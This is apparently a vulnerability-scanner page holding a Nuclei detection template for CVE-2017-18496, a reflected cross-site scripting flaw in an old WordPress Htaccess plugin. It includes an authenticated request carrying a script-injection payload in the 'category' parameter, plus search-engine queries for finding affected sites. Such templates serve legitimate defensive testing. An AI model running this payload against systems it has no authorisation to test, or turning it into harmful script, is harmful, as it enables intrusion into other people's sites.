Htaccess by BestWebSoft < 1.7.6 - Cross-Site Scripting

ID: CVE-2017-18496

Severity: medium

Author: luisfelipe146

Tags: cve,cve2017,wordpress,wpscan,bws-htaccess,wp-plugin,xss,authenticated,bestwebsoft

Description

The htaccess plugin before 1.7.6 for WordPress has multiple XSS issues.

YAML Source

id: CVE-2017-18496

info:
  name: Htaccess by BestWebSoft < 1.7.6 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The htaccess plugin before 1.7.6 for WordPress has multiple XSS issues.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18496
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18496
    - https://wordpress.org/plugins/htaccess/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18496
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.3753
    cpe: cpe:2.3:a:bestwebsoft:htaccess:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: htaccess
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/htaccess/
    fofa-query: body=/wp-content/plugins/htaccess/
    publicwww-query: "/wp-content/plugins/htaccess/"
  tags: cve,cve2017,wordpress,wpscan,bws-htaccess,wp-plugin,xss,authenticated,bestwebsoft

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/htaccess/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "Htaccess by")'
        condition: and
# digest: 4a0a00473045022049b81a3975d58ee5ae02061b4e9b34ad43e9e4ba9167d9edb5df61b6bc2639f5022100b43ce06ba4cd655bc1052a5b111808887344b84953cc2728ed7ac6f8df2ad7f3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-18496.yaml"

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